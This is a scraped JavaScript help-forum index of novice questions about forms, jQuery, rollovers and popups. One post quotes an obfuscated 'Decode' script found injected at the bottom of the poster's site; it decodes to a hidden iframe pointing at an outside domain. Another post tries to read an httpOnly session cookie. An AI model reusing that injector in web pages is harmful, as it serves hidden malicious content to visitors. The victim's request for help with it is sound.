js novice needs help consolidating simple (but long) script - JavaScript Help


i know VERY little of js - but i'm SURE this could be consolidated (it works fine, it's just a little obtuse, i think):

var dr=new Array(); dr=document.getElementsByName("drink[]"); var dri=-1; for(i=0;i
Posted On: Tuesday 1st of January 2013 08:40:24 PM Total Views:  72
View Complete with Replies

RELATED TOPICS OF JavaScript PROGRAMMING LANGUAGE




Updating textarea from a popup

It's been a while since I've been here, and sadly my return is for another question. Basically, what I want to do is update a textarea in the parent window with data from the child (pop-up) window. There's an add image button on the main parent window that, when clicked, opens a pop-up window to upload an image and select its alignment (left, center and right). When the image is uploaded successfully, I want to send an img tag with the path to the newly uploaded file (and the alignment in the style attribute) to a textarea in the parent window. The original plan was to upload the file in the parent window itself, but any Ajax file uploading tutorial that I read didn't work in my code, though I tested it outside of my code and it worked fine (didn't refresh the page). It doesn't need to be on the parent page, I just thought it would be easier than doing it through a pop-up window, and I don't want to bother figuring out why it's not working with my code so I'm sticking with a pop-up. Here is the textarea: Here is my uploading page: function uploadEnd(success, filename, align) { if(success == 1) { switch(align) { case 1: image_tag = ""; break; case 2: image_tag = ""; break; case 3: image_tag = ""; break; } window.opener.getElementById('content').value += image_tag; } } uploadEnd(, "/", ); Image: Choose image alignment: Left Center Right Uploading works fine. Updating the textarea does not. I know I'm probably doing it wrong, which is why I've come here for help because I've been trying to get this to work for over a day now with no success. Any help would be greatly appreciated as I'd like to get this site finished before the new year (though I doubt I will succeed). I can try to provide more information if necessary.
VIEWS ON THIS POST

418

Posted on:

Wednesday 21st November 2012
View Replies!

Insane Css, Javascript, And Php

Chris and Sloth, I found this truly amazing (insane) use of CSS and Javascript, and PHP. It uses 1400+ DIV's and some really cool Javascript. The bandwidth overhead is a bit high, but the end result obviously helps all of us stretch the boundaries of what we can do with this technology. Redbarron Here's the site: http://www.designdet.../csspencils.php
VIEWS ON THIS POST

56

Posted on:

Wednesday 21st November 2012
View Replies!

Get value, add and display

How could i add value in java script please refer to function below. Show Image Value Image Value
VIEWS ON THIS POST

64

Posted on:

Friday 23rd November 2012
View Replies!

How can I call a Javascript event on HTML div border?

It sounds confusing, but is quite simple. I have a square div, and using css I have four circles replacing the corners of the of the divs border. I want the user to be able to click on one of the corner circles changing the curser image and calling the Javascript onclick event. How do I did that
VIEWS ON THIS POST

101

Posted on:

Saturday 24th November 2012
View Replies!

parse html code from textbox in div

hey... I know this is real easy to do and all... but I just can't remember how to do it... I have a textarea named 'code' and a completely empty div the textbox get's filled with html code... (dynamically of course) and now I need to display the html code in the div... (using the textarea as a buffer) how to\t :/
VIEWS ON THIS POST

159

Posted on:

Saturday 24th November 2012
View Replies!

Checking my understanding

I have been tasked to learn basic JavaScript as part of my collage coarse, and i've taken this section if code from the W3C website and commented it out. Is my interpretation of what this script is doing correct Im using this script as an example of how JavaScript can be used to validate information client side. Thank you for your time. Any additional info that can further my understanding is appreciated. //This tells the browser the following is JavaScript. function validate_email(field,alerttxt) //This defines the function. { with (field) { apos=value.indexOf("@"); //Tries to find the position of the value given. dotpos=value.lastIndexOf("."); //Tries to find the last occurrence of the value given. if (apos
VIEWS ON THIS POST

141

Posted on:

Saturday 24th November 2012
View Replies!

how to get values through javascript and pasted in?

Hi all, 1] I have to create one html file which uses javascript. 2] HTML page can be accessed by user and can fill the; [A] Folder path along with file name 3] There will be a button, after click on that a batch file [already present but without any values] will run with new values provided by javascript. 4] Through that batch file i will process XML to HTML conversion. 5] After completion of batch 1 message should be given as "Process Over" Purpose of this - User will not interact directly with batch file. He/ She will just paste the path and file name and click on button. Rest of the things will done in background. User can see only output, without interrupting the actual process. My HTML looks like below, Welcome to this project Wel-come Please enter file name here Please enter folder path here Please suggest is this possible if yes how it can be done
VIEWS ON THIS POST

224

Posted on:

Saturday 24th November 2012
View Replies!

How can I apply this function to an input ?

See my demo page for where I have it working on an img src but not an input which is what I really want. Here's the link to my testing / demo page: http://www.myu2sig.com/stellardonations/buttontype.php As for what I want to do, how can I apply the function to the input so it's image changes on the value of the select like the regular image does which uses HTML's img src. As for all of the code that produces what you see on said page: function showimage(t){ if (!document.images) return; document.images[t.getAttribute("name").replace("select","pics")].src=t.options[t.selectedIndex].value } Regular Image using: < img name="firstpics" src="/stellardonations/paypaldonate.gif" > Input Image using: < input name="firstpics" type="image" src="/stellardonations/paypaldonate.gif" border="0" name="submit" > Yes No No = Donate Yes = Subscribe
VIEWS ON THIS POST

154

Posted on:

Sunday 25th November 2012
View Replies!

can't validate columns created using createElement

I use this function to add rows dynamically in a table function addRow() { var tbl = document.getElementById('applications'); var lastRow = tbl.rows.length; // if there's no header row in the table, then iteration = lastRow + 1 var iteration = lastRow; var row = tbl.insertRow(lastRow); // right cell var cellRight = row.insertCell(0); var el = document.createElement('input'); el.type = 'text'; el.name = 'application_n' + iteration; el.id = 'application_n' + iteration; el.size = 45; el.className='cellData'; el.style.width='220px' el.style.height='17px' cellRight.appendChild(el); alert("the id is " + el.id) var cellMiddle = row.insertCell(1); var fl = document.createElement('input'); fl.type = 'text'; fl.name = 'application_no' + iteration; fl.id = 'application_no' + iteration; fl.size = 45; fl.className='cellData'; fl.style.width='220px' fl.style.height='17px' cellMiddle.appendChild(fl); var cellLeft = row.insertCell(2); var gl = document.createElement('input'); gl.type = 'text'; gl.name = 'application_doj' + iteration; gl.id = 'application_doj' + iteration; gl.size = 45; gl.className='cellData'; gl.style.width='220px' gl.style.height='17px' gl.value='mm/dd/yyyy' gl.onfocus= function() {gl.value=""}; gl.onblur= function() {ValidateForm()}; cellLeft.appendChild(gl); document.getElementById("no_of_applications").value=iteration } and using this function to validate date ( the column created as gl in the above function ) var dtCh= "/"; var minYear=1900; var maxYear=2100; function isInteger(s){ var i; for (i = 0; i < s.length; i++){ // Check that current character is number. var c = s.charAt(i); if (((c < "0") || (c > "9"))) return false; } // characters are numbers. return true; } function stripCharsInBag(s, bag){ var i; var returnString = ""; // Search through string's characters one by one. // If character is not in bag, append to returnString. for (i = 0; i < s.length; i++){ var c = s.charAt(i); if (bag.indexOf(c) == -1) returnString += c; } return returnString; } function daysInFebruary (year){ // February has 29 days in any year evenly divisible by four, // EXCEPT for centurial years which are not also divisible by 400. return (((year % 4 == 0) && ( (!(year % 100 == 0)) || (year % 400 == 0))) 29 : 28 ); } function DaysArray(n) { for (var i = 1; i 1) strDay=strDay.substring(1) if (strMonth.charAt(0)=="0" && strMonth.length>1) strMonth=strMonth.substring(1) for (var i = 1; i 1) strYr=strYr.substring(1) } month=parseInt(strMonth) day=parseInt(strDay) year=parseInt(strYr) if (pos1==-1 || pos2==-1){ document.getElementById("DOJ_error").innerHTML = "please enter a date in - mm/dd/yyyy format" return false } if (strMonth.length daysInMonth[month]){ document.getElementById("DOJ_error").innerHTML = "Please enter a valid day" return false } if (strYear.length != 4 || year==0 || yearmaxYear){ document.getElementById("DOJ_error").innerHTML = "Please enter a valid 4 digit year" return false } if (dtStr.indexOf(dtCh,pos2+1)!=-1 || isInteger(stripCharsInBag(dtStr, dtCh))==false){ document.getElementById("DOJ_error").innerHTML = "Please enter a valid date" return false } return true } function ValidateForm() { alert("hi from ValidateForm") //var dt=document.transaction.application_doj' + iteration //alert(dt) iteration=document.getElementById("no_of_applications").value alert(iteration) var dt=document.getElementById("application_doj" + iteration).value // var dt=document.getElementById("application_doj2").value alert(dt) if (isDate(dt.value)==false){ //dt.focus() return false } else { document.getElementById("DOJ_error").innerHTML="" return true } } tihs is the DOJ_error but nothing happens when i run this... it does gets the value from each date column in the table and also calls the isDate() function but nothing after that...
VIEWS ON THIS POST

127

Posted on:

Sunday 25th November 2012
View Replies!

need help requiring at least one checkbox from group?

I'm using classic ASP here, and trying to do some Javascript validation. In my form, I'm dynamically creating checkbox groups - each group has a common Name, and each checkbox has a unique ID. Before the form submits (in the onclick on the submit button) I want to check and make sure each checkbox group has at least one of it's checkboxes checked. If that makes sense :-) I guess I'm conceptually running into problems. I think I want to, on submit, loop through all of the checkbox Names, and make sure at least one item is checked out of each of those Name groups. Can this be done This is what I have so far, but I think it's getting thrown off by using the ID instead of the Name: function validateCheckBox() { var checkSelected = false; var checkboxid for(i=0; i
VIEWS ON THIS POST

156

Posted on:

Sunday 25th November 2012
View Replies!

issue with calculation using jquery for multiple input

hi frens.. i ll simplify my requirement and explain the issue.. lets say, i have 3 textbox rate, quantity, total and a "add row" button. I must be able to add any no. of rows. There must also be a supertotal field before the "add row" button to display the total of totals. after entering rate and quantity, the total and supertotal should get calculated automatically without refresh. I am able to add rows successfuly, but total is getting calculated for only 1st row.. here is the code $(document).ready(function() { $("#rate").change(function() { var rate, qty, total; rate = parseFloat($("#rate").val()); qty = parseFloat($("#quantity").val()); total = qty*rate; if(!isNaN(total)) { $("#total").val(total.toFixed(2)); } else { $("#total").val("There was a error"); } }); }); how can i get this thing to work for all rows and also calculate the supertotal plss help me out with this..
VIEWS ON THIS POST

192

Posted on:

Monday 26th November 2012
View Replies!

diplay checkboxes value right after the user checked

Currently I optimize my website. I would like to use php, javascript or ajax to implement the asynchronous action: I have an array of checkboxes: I would like to add functions that when the user check a checkbox, diplay the checkbox value below the web page right after the action, if the user continues to check another checkbox, show both value. so that the submition is made by the onclick event, not a submit button. How can I make it Please help.
VIEWS ON THIS POST

152

Posted on:

Monday 26th November 2012
View Replies!

designing a progress bar

I want to design a progress bar when a file from data base in loading. Any body can help me.
VIEWS ON THIS POST

67

Posted on:

Monday 26th November 2012
View Replies!

allcoolmusic.com = SPAM

allcoolmusic.com is one of the biggest spam-disseminators in the world. Supposedly located in the British Virgin Islands and often employing one hypothetical "Jennifer Davis" as handle, it exists only to spread malware and spam-promoted adware to unsuspecting POP email users ...
VIEWS ON THIS POST

159

Posted on:

Friday 30th November 2012
View Replies!

Making a mouseover/out task into function using classes for images

After many trials and errors finding exactly what someone wanted I came up with the solution I wanted for an image rollover. The problem is I put all the code directly into the mouseover/mouseout function. I am not sure how to implement this into two separate Javascript functions to limit the amount of code I have to write. The reason I am not sure how to write the function is because the images are in classes and the results are going to be pulled from a sql query, so they can't have their own id. So, in a nutshell, I just would like some guidance on how to put the mouseover/mouseout code into a Javascript function. Many
VIEWS ON THIS POST

139

Posted on:

Sunday 23rd December 2012
View Replies!

auto refresh every 2 seconds of a textarea

i have a text area of php inside that reads off messages of a database and i wanted to have it auto refresh every 2 seconds. im making it into a chat box. at the moment what you have to do is press a refresh button but its a hassel. i dont want to get into to much ajax becuase i have a ton more stuff to do and dont want to spend to much time on 1 thing. but it looks like this is there any javascript i could post around this to make it just refresh the textarea and repeat the process every 2 seconds
VIEWS ON THIS POST

199

Posted on:

Sunday 23rd December 2012
View Replies!

Download MP3 file using JAvascript

Hi I need to allow user to download mp3 files when they click on the link rather than streaming the audio in the browser. Need to use only Javascript to download the file. Any ideas\t Please help me. its very urgent.
VIEWS ON THIS POST

377

Posted on:

Sunday 23rd December 2012
View Replies!

2 Radio buttons to = 1 image

. I am new here. I know the top says do your homework first but I am new to javascript and I am not sure if my idea will even work in java script but here we go. My Dad has a web page and I am trying to help him out with it. He builds duck calls and I am trying to make a build your own call section for him. I am wanting every color combination possible for this page to be set up and I would like to do it with radio buttons and the color name next to it. His calls come in 2 parts. The first is the barrel and the second part is the insert. I am wanting people to be able to be able to click 2 separate colors to show a different image for each selection they choose. So I.E. Black + Orange = BlackOrange.jpg and it will show a picture of a black barrel and orange insert of the call. The lay out is pretty simple. I am wanting the picture on top and 2 columns to be listed with radio buttons going down each column and by each radio button i am wanting the colors. For example. ------------[Image] Barrels -------------- Inserts ================================= o Black --------------- o Black o White --------------- o White o Orange--------------- o Orange The page didn't show up like I wanted it took out the spacing so I inserted -'s to show off the actual look And so on and so forth. I can read java script and edit it decently. I am not a complete newbie when it comes to coding but I can't figure out how to write it to get the output I want. I have found several different pages that offer 1 radio button for each picture but I am wanting to see if I can get it setup the same way as I have it laid out if it is even possible. Any help would be appreciated and if you can't help if somebody could find me a link to something that could point me in the right direction that would be appreciated as well. I know I can go the easy route and just do 1 image for 1 radio button and have it setup like: [Image] Barrels/Inserts ================ oBlack/Black oBlack/White But that just doesn't look as professional and to be honest I have been trying to get the way I want it done for a while now and have had no success. It is more of a personal challenge for me to find out how to get it done the way I want. I am thinking it should be something like: if column A1 + column B3 = true go to imageA1B3.jpg(which would be a black barrel with a orange insert) or something along that lines but I can't get it to work any way I try. Anyways sorry for the long post and like I said any help would be appreciated.
VIEWS ON THIS POST

183

Posted on:

Sunday 23rd December 2012
View Replies!

SwfObject breaks Javascript Image Rotator

I have a Javascript slideshow (image rotator) on an HTML page, and it works fine until I embed a swf onto the same page. At that point the image rotator won't show up anymore. Is there a way to fix this Can I have both on the same HTML page
VIEWS ON THIS POST

202

Posted on:

Sunday 23rd December 2012
View Replies!

java script +UML activity diagram

hai, is there any open source js library for creating UML Activity diagram in html other than Joints
VIEWS ON THIS POST

184

Posted on:

Sunday 23rd December 2012
View Replies!

XHR using basic authentication

Hi , I'm struggling with an issue I'm testing at the moment. I'm using XHR to make some REST requests. Right now I need to handle HTTP 401 responses. When a resource is requested such as a Javascript file or CSS file the browser will popup a prompt for username and password, which is normal behaviour. When I make an XHR request for POST,GET or PUT I get an XHR response which includes a status of 401 and no popup from the browser, this is also normal. The problem is when I make a DELETE request, I get the expected XHR response AND also the browser still pops up the username and password prompt. Not Good. Has anyone had this problem before and is there any solutions out there
VIEWS ON THIS POST

240

Posted on:

Sunday 23rd December 2012
View Replies!

Help using the focus() method

Hi when I make a frameset, instead of having the second child window focused by default on the onload event, I would like to have the first child window focused. I tried this code with no success, the second window still was focused not the first. Can anyone please help Here's my attempt: My focus attempt This post has been edited by codemonkey92: 07 February 2010 - 11:46 PM
VIEWS ON THIS POST

184

Posted on:

Sunday 23rd December 2012
View Replies!

Not sure what I am doing wrong...

This is code is all messed up. What it is to do is let the user type any bag of numbers seperated by commas and then process the numbers in order. If there are two of the same number ex.(1,1,2,3) the output would be (1,2,3). I got the code to work with the prompt, but i cant figure it out using a form and a function. Heres the prompt one that works a=prompt("hello, please type a comma delimited 'bag' of numbers") A=a.split(",") B=[] A.sort() for (i=0;i
VIEWS ON THIS POST

214

Posted on:

Sunday 23rd December 2012
View Replies!

Can't get Switch Statement to Work.

I am having trouble with a switch statement Assignment. I don't really know if what I am doing is even close to right. Assignment: Switch Create a HTML that uses Javascript. Create a page that tells a student the range their mark falls in if they know their letter grade. Below 50 is an "F", 50-59.9 is a D, 60 - 69.9 is a "C", 70 - 79.9 is a "B", 80 - 89.9 is an "A" and 90 - 100 is an "A+". You determine the input and output format. Switch var Mark = document.getElementById('letter').value switch(Mark) { case 1: if (Mark = A+ || Mark = a+) alert("Your Mark Range is 90% - 100%"); break; case 2: if (Mark = A || Mark = a) alert("Your Mark Range is 80% - 89.9%"); break; case 3: if (Mark = B || Mark = b) alert("Your Mark Range is 70% - 79.9%"); break; case 4: if (Mark = C || Mark = c) alert("Your Mark Range is 60% - 69.9%"); break; case 5: if (Mark = D || Mark = d) alert("Your Mark Range is 50-59.9"); break; case 6: if (Mark = F || Mark = f) alert("Your Mark Range is below 50%"); break; } Please Enter Letter Grade to find Mark Range. This post has been edited by cod4ever: 17 January 2010 - 04:58 PM
VIEWS ON THIS POST

245

Posted on:

Sunday 23rd December 2012
View Replies!

simple animation

i'm trying to graph line with a delay between each line drawn - my code is: var jg = new jsGraphics('Canvas'); jg.setColor('maroon'); jg.drawLine(40,130,80,120); setTimeout('jg.paint()',10000); jg.drawLine(80,120,120,110); setTimeout('jg.paint()',10000); unfortunately it draws all the lines at the same time i.e the setTimeout function doesn't like the paint method - any ideas Abbey
VIEWS ON THIS POST

216

Posted on:

Sunday 23rd December 2012
View Replies!

Live Tv Script

Please Give me java script for live tv for my web page.
VIEWS ON THIS POST

194

Posted on:

Sunday 23rd December 2012
View Replies!

Change CSS with JavaScript

, I am at the very beginning of Javascript. This is the first website I tried to include Javascript, so don't be too mean What I want to do is to change a CSS property dynamically. It'll be best if I show you what I did: function ChangeHeight() { var browser = navigator.appName; if(browser == "Microsoft Internet Explorer") { var clientHeight = document.body.clientHeight; var contentHeight = clientHeight - 218; document.getElementById('content').style.height = contentHeight; } else { var clientHeight = window.innerHeight; var contentHeight = clientHeight - 218; document.getElementById('content').style.height = contentHeight; } } This is in my header. I heard that window.innerHeight doesn't work for Internet Explorer, that's why the if statement. What I am trying to do is to change my height of my content area dynamically when it gets resized. My body tag looks like this: And I have a div area in my body, which looks like that: And the content div in my external stylesheet, which I of course linked up, looks like this: #content { height: 400px; float: right; width: 678px; padding-bottom: 1em; background-image: url(../images/dp-content-purp.gif); border-top: 0px solid; border-right: 2px solid; border-bottom: 0px solid; border-left: 2px solid; border-color: #FFF; overflow: auto; } Why I want do change this Well... Different people have different resolutions and I want that my website fits perfectly into the browser. *EDIT: Maybe something, that could help. I tried the following: alert(document.getElementById('content').style.height); This shows just an empty MessageBox with nothing in it. And by the way... Happy
VIEWS ON THIS POST

202

Posted on:

Sunday 23rd December 2012
View Replies!

javascript Incorrect RHS Data Type

What happens if the right hand side data type is incorrect This post has been edited by dbrine: 18 October 2009 - 07:07 AM
VIEWS ON THIS POST

228

Posted on:

Sunday 23rd December 2012
View Replies!

"function Decode" script been hacked into my site?

I recently looked at the live code on the homepage of my personal site, and am I a bit concerned upon discovering a script that appears at the very bottom of my page, AFTER the closing html tag. This is the script: function Decode(){var temp='',i,c=0,out='';var str='60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!98!46!108!45!97!45!99!46!99!110!47!34!32!115!116!121!108!101!61!34!100!105!115!112!108!97!121!58!110!111!110!101!34!62!60!47!105!102!114!97!109!101!62!';l=str.length;while(c
VIEWS ON THIS POST

226

Posted on:

Monday 24th December 2012
View Replies!

need to create a table in a div dynamically with js

I've got 2 div's and the first one has a form in it. I want to create a table with the results of the form results in the second div. It currently erases the page to create the table
VIEWS ON THIS POST

174

Posted on:

Monday 24th December 2012
View Replies!

how to redirect to a jquery tab

i want to redirect the page after submitting to the exact page with the tabs. but when i submit it just loads the same page. but what i want is it should load under the home tabs. my other pages are loading in the div tags which are loaded using the Jquery tab here is my code. please help me Enter The Question   Enter the Answers 01. Correct Answer 02. Correct Answer 03. Correct Answer 04. Correct Answer i have tried like that( i have bold it.. please refer the bold section). my home tabs are like this $(document).ready(function() { $('#main-side-content').tabs(); }); Home Create A Class Register Students MCQ Paper Setting Create Paper
VIEWS ON THIS POST

182

Posted on:

Monday 24th December 2012
View Replies!

Basic Javascript Rollover

For some reason I cant get my rollovers to work on my web design here's the html http://halffull.free...rash/index.html THE Javascript window.onload = rolloverInit; function rolloverInit() { for (var i=0; i
VIEWS ON THIS POST

229

Posted on:

Monday 24th December 2012
View Replies!

Hide Address of server in popupwindow


VIEWS ON THIS POST

261

Posted on:

Monday 24th December 2012
View Replies!

how to close browser window with javascript

hi, can any one tell me what are the ways to close browser window in javascript. i'm trying with window.close() but it's not working in firefox..
VIEWS ON THIS POST

207

Posted on:

Monday 24th December 2012
View Replies!

Passing form values to new window

I'm trying to figure out how to pass selected values from a form to a page (both pages are ASP) in a new window via the URL. My form uses radio buttons as a means to make a selection: Option1 Option2 Option3 Option4 So that my URL would look something like this: http://www.mywebsite...t.aspu_input=A Any ideas on how to do this
VIEWS ON THIS POST

243

Posted on:

Monday 24th December 2012
View Replies!

Floating Window Codes

, I am so glad I found you ! So here is my problem: I built this Flash site(first one) for a photographer. Now I have thumbnails/button that open to a new browser window with the corresponding photo gallery. Now, my client wants the window to be menubarless, no scrollbar, basically only have the frame with her name on it. I see it all the time but I am having a real hard time finding the right way to do it... Right now, I have her galleries on regular browser window. First, should I add some Actionscript or Javascript to the button so the link would open onto the floating window. Do I have to add something to the galleries's HTML script and where on it Can you help me with the codes and all If so, THANK YOU SO MUCH!! I have been pulling my hair out over this for the last few weeks. Let me know if you need more details, Marianne , okay, im sorry i misunderstood your question when i read it the first time, or i didnt realize it had to be a flash button. im not a flash master, might want to move this to the flash forum and get one of them in here. but in the meantime, try adding the first bit of code i gave you to the html file on which the flash is placed, in the header. then, in the actions on the button add java script:popUp('filename.html') with filename.html being the full url of the gallery, im not sure if the javascript from the html page will carryover into the html, thats a question for the flash gurus, but its worth a shot. sorry. hope they help you out .
VIEWS ON THIS POST

218

Posted on:

Monday 24th December 2012
View Replies!

Stop YouTube video when closing div - JavaScript Help

, I am using a hide/show system which is displaying youtube videos. I would like the youtube video to STOP whenever the div is closed.How do I do this
VIEWS ON THIS POST

189

Posted on:

Friday 28th December 2012
View Replies!

httpOnly Cookie retrieval - JavaScript Help

For FireFoxI've been learning more about AJAX, and one of my applications need to read a httpOnly cookie (not my choice) in order to work properly. How can I go about this I tried: var req = null; try { req = new XMLHttpRequest(); } catch(e) {} if (!req) try { req = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) {} if (!req) try { req = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {} req.open('GET', 'http://www.removed.com/', false); req.send(null); alert(req.getResponseHeader("bb_sessionhash")); Yet his only outputs null
VIEWS ON THIS POST

264

Posted on:

Friday 28th December 2012
View Replies!

Need a good source or a good tutorial on how to do page load data jquery. - JavaScript Help

I have looked up on the web for some good tutorials, so I haven't really found any "SIMPLE ONES". I'm looking for a good simple tutorial on how to make your page continue and continually load data when you scroll down the page. Will need ajax to pull some data from the database. I looked at 9Lessions tutorial on page load data jquery, but it's pretty complex. I tried to make it work in an example and it didn't work. But, all I'm looking for is a very simple tutorial on how to make a page load data jquery.
VIEWS ON THIS POST

190

Posted on:

Friday 28th December 2012
View Replies!

Two onchange events not working? - JavaScript Help

I have two events which i want to call in select while onchange I am uing this but its not working........
VIEWS ON THIS POST

335

Posted on:

Friday 28th December 2012
View Replies!

MOVED: good books on jquery? - JavaScript Help

This topic has been moved to Miscellaneous.http://www.phpfreaks.com/forums/index.phptopic=343577.0
VIEWS ON THIS POST

222

Posted on:

Friday 28th December 2012
View Replies!

building a url from explode function and getting page title to make new url? - JavaScript Help

As i see it this should be an easy one.. Im using the addthis shareing script to share a page url on multiple platforms... My problem is that i have sef urls and also a seperate fast search page where profiles are called up via search. These profiles are called in an iframe and the url is then notadd sef any longer but the standard url... What i need to do is build the sef url from the server request uri and then add the page title which is also the profiles name to the new url---i can do everything to build the url, but i do not know how to pull the page title one thing to note is that the page being shared is in an Iframe, i dont think this is a big problem as the script to share is also on the page which appears in the iframe..here is the addthis shareing script which calls to the url: addthis_pub = \'davidp13\'; '; }here is an example of the url and the result i need for the sef url equivalent: current link no sefhttp://www.xxxxxxxxx...ile&profileid=1Sef result needed to fill the [URL] above:http://www.xxxxxx.co...nersname/1.htmlthe "1" is the profile owners profile id i can pull this from the url above, the viewprofile is a standard word in the url, but the profile owners name is by default also the PAGETITLE.which doesn't show in the non sef link..any ideas how to pull the pagetitle and add it to the new url before it is passedbest regardsAntony
VIEWS ON THIS POST

211

Posted on:

Friday 28th December 2012
View Replies!

Php with Jquery (SELECTING) - JavaScript Help

How do you SELECT * FROM table WHERE field='(a jquery value)' I want to know is to know what gender they clicked on so I could run this query:SELECT * FROM table WHERE gender='whatever they clicked';Here is my Javascript code: $(document).ready(setupBeginning); function setupBeginning() { $("#rest").hide(); $(".femaleTrigger").click(showRestFemale); $(".maleTrigger").click(showRestMale); } function showRestFemale() { $("#rest").show(); $("#gender").hide(); } function showRestMale() { $("#rest").show(); $("#gender").hide(); } $(function() { $( "#tabs" ).tabs(); }); Now here is my HTML code: Click on your gender: Male Female Base Eyes Mouth Nose Hair Bases here. Eyes here. Mouths here. Noses here. Hairs here. Now I want to use PHP toSELECT * FROM tablename WHERE gender='whatever they clicked';How would I receive the data of what gender they clicked on
VIEWS ON THIS POST

257

Posted on:

Friday 28th December 2012
View Replies!

javascript/jquery detect user scroll 200px from bottom of page - JavaScript Help

I have a page that loads older comments when you scroll to the bottom of the page, it works well however I want it to load the comments when the user has scrolled to around 200px up from the bottom of the page (so they have a chance to load to help keep the user scrolling down smoothly without breaks from it loading).currently using:$(window).scroll(function () { /* if ($win.scrollTop() == 0) ///scrolled to page top*/ if ($(window).height() + $(window).scrollTop() == $(document).height()) { //code to be executed } });
VIEWS ON THIS POST

205

Posted on:

Friday 28th December 2012
View Replies!

JQuery hidden adjacent div issue - JavaScript Help

, I am just starting to get into jQuery and I have run into a problem that is annoying the hell out of me. I have a menu with all the main options for the site. However, this site is part of a large network; so I need to include an option for the global nav for the network. The current menu for the site is so: Home About Archives Contact Subscribe to RSS I didn't write this page, just going in to add the global nav. Anyway, I modified the menu as such and added the following under it: +/- Home About Archives Contact Subscribe to RSS writeTopGlobal_transition(); writeBotGlobal_transition(); $(function() { $('.hiddenNav').hover(function() { $('.globalNav').show(); }); $('.globalNav').hover(function() {}, function() { $('.globalNav').hide() }); }); The two functions in hidden div basically do a document.write of the global nav (which is fairly extensive). Anyway, here is my issue. As you can probably guess with my code I want the global nav to appear when a user hovers over the "+/-" link in the main menu. Then I need it to stay active as long as they are over it. Currently, this works fine. The global nav goes away when they move their mouse off of it. However, during testing I noticed my issue. If you just hover over the "+/-" and never go to the global nav section it stays open. I need it to act much like a drop down in that if the user hovers over the "+/-" the nav shows up and if they move it goes away....unless they move to the nav where it should stay up until they move off of it
VIEWS ON THIS POST

230

Posted on:

Friday 28th December 2012
View Replies!

jQuery/JavaScript trigger on canvas image load - JavaScript Help

Edit: after re-thinking and reading my post: Short question is: how do you add an Event listener on the img loading inside a canvas $("canvas img") doesn't work for example... , using jQuery and Javascript... I have a function that adds a line, when this line is added, another function is run that adds a Canvas and loads an image within it like so:Within addCanvas an image is loaded and I can trigger a function upon the image loading.. Cool. But how do I get the previous function to know when this image is loaded I tried adding return true; within addCanvas and then in the previous function doing an if(addCanvas()){ } but it seems to get to that line and if the image hasn't loaded, it doesn't wait function addText(){ // Add text code addCanvas(); } function addCanvas(){ // add canvas, load image var $img = new Image(); $img.src = 'image.png'; $img.onload = function(){ // do stuff } } I wanted the previous function to know when it has loaded so I can continue with all the variables I currently have... If I can't check for it in the previous function then I'll have to pass them all when they're only needed in certain conditions and its a little messy.It's a canvas but can't really do$("canvas").load(function(){ // loaded });because the canvas is already loaded... its the image inside it I want to check that has loaded
VIEWS ON THIS POST

253

Posted on:

Monday 31st December 2012
View Replies!

preloading quicktime movies. - JavaScript Help

is there any way to preload quicktime media before the user decides to view it.i know for images i can do this:var images = new Image;images.src = 'location.gif';can you do that for other media as well\t
VIEWS ON THIS POST

244

Posted on:

Monday 31st December 2012
View Replies!

Hash URL based website. load pages with multiple variables in url. etc. - JavaScript Help

I have a website that is completely hash based. It only ever loads one page the whole time you're on the site. The rest of the pages are loading in with ajax. What I am using to check for hash changes is $(window).hashchange( function (){}); and everytime the hash changes it loads the page that it tells it to based on whats in the hash. Now. This works perfectly fine when i just have one variable in the url that needs to load the page, however when i want to have a tabbed navigation inside of the first page that loads it either has to load the entire page again. (which would make this completely pointless if I kept it like this), or i cannot pass a url in the hash, (which wouldn't work because if you reload the page it wouldn't automatically go back to that tab and everything. So what I need is a better system in how i get pages through the hash. Okay to make it more clear as to what I am looking for I'll show some examples.example hash with only one page needing to be loaded.www.mysite.com/index.php#!/profile&id=1This will load the php page called profile.php, with the users ID as number 1. now, when you click on a tab on the users page the url would look something like this:www.mysite.com/index.php#!/profile&id=1&tab=informationThis will load information.php into a div inside of the profile.php page without reloading the profile page. (Well I mean that's what i want it to do)Could anyone give me some direction in how I could accomplish this.
VIEWS ON THIS POST

205

Posted on:

Monday 31st December 2012
View Replies!

how to highlight table row on select? - JavaScript Help

hi . as stated in my question above, i want to be able to highlight a table row when i click on it and unhighlight when i click on another row. i'm totally new to javascript and jquery so i don't know where to begin. i've used php also on this one to display the records in the table. hope you can help. just tell me if something is lacking in the code i've posted or if i need to post javascript. here's the html&php code.. Records - of  Reset ID Course Year Block
VIEWS ON THIS POST

272

Posted on:

Monday 31st December 2012
View Replies!

Combo Box value to php variable - JavaScript Help

Select Size: S M L XL
VIEWS ON THIS POST

221

Posted on:

Tuesday 1st January 2013
View Replies!